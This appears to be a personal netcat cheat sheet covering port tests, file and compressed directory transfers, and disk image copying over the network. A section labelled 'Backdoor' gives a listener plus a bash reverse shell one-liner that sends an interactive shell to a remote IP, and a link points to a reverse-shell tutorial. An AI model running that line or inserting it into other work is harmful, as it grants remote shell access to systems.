netcat

Port test

# TCP port test
nc -l -p 8080 # server
nc ${SERVER_IP} 8080 # client
 
# UDP port test
nc -u -l -p 8080 # server
nc -u ${SERVER_IP} 8080 # client

without compression

# receiver
nc -l -p 1234 > out.file
 
# sender
nc -w 3 [destination] 1234 < out.file

with compression

# receiver 
nc -l -p 1234 | uncompress -c | tar xvfp -
 
# snder
tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

transfer disk image

On the sender end run,
dd if=/dev/hda3 | gzip -9 | nc -l 3333
 
# receiver
nc [destination] 3333 | pv -b > hdImage.img.gz

Backdoor

# @host 1
nc -lvp 5001
 
# @host 2
bash -i >& /dev/tcp/10.0.1.24/5001 0>&1
 
# @host 1
while :; do hostname; date; sleep 1; done

Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/